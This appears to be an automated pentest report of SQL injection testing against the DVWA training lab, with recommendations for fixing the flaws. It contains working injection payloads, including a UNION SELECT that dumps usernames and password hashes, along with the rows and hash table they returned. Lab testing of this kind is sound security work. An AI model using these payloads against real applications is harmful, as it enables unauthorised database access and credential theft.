Automated Web Pentest Report

Test Environment

Server OS: Kali GNU/Linux Rolling

Python Version: 3.13.3

Scan Date: 2025-06-12 08:04:44 UTC

SQLmap Version: 1.9.4#stable

Target App: DVWA (Damn Vulnerable Web Application)

Version: 1.10 *Development*

Security Level: low

Web Server: Apache 2.4

Database: MySQL 8

Language: PHP 8.1

Tools Used: Python requests, BeautifulSoup4, SQLmap, Burp Suite (manual verify)

Methodology & Tools

- Automated Python script loads payloads from file, sends HTTP requests, extracts evidence with BeautifulSoup4.
- Auto-classifies results, exports as PDF/Markdown/JSON.
- SQLmap integration for advanced SQLi detection.
- Ready for CI/CD: can run in GitHub Actions/Jenkins.

Executive Summary

Total vulnerabilities tested: 4

Successful exploits: 3

Risk Level: Critical

Test Cases Table

#	Payload	Status	Severity
1	' OR '1'='1	Success	Critical
2	' OR 1=1 #	Success	Critical
3	' union select user, password from users#	Success	Critical
4	addadasddad	Fail	Low

Evidence Details

Severity: Critical

[1] Payload: ' OR '1'='1

ID: ' OR '1'='1
First name: admin
Surname: admin

ID: ' OR '1'='1
First name: Gordon
Surname: Brown

ID: ' OR '1'='1
First name: Hack
Surname: Me

ID: ' OR '1'='1
First name: Pablo
Surname: Picasso

ID: ' OR '1'='1
First name: Bob
Surname: Smith

Severity: Critical

[2] Payload: ' OR 1=1 #

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith

Severity: Critical

[3] Payload: ' union select user, password from users#

ID: ' union select user, password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Severity: Low

[4] Payload: addadasddad

User ID:

Extracted Users

#	Username	Password/Hash
1	admin	5f4dcc3b5aa765d61d8327deb882cf99
2	gordonb	e99a18c428cb38d5f260853678922e03
3	1337	8d3533d75ae2c3966d7e0d4fcc69216b
4	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
5	smithy	5f4dcc3b5aa765d61d8327deb882cf99

Recommendations

- Use prepared statements (parameterized queries) for all database access.
- Enable a Web Application Firewall (e.g., ModSecurity + CRS) in production.
- Build a code review checklist for input validation and output encoding.
- Patch DVWA and all dependencies regularly.
- Integrate automated security testing (e.g., SonarQube, OWASP ZAP) into CI/CD.

- Regularly update payload signatures and review recent CVE advisories.

References

OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection

PayloadAllTheThings SQLi: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

DVWA GitHub: https://github.com/digininja/DVWA

SQLmap: http://sqlmap.org/

OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/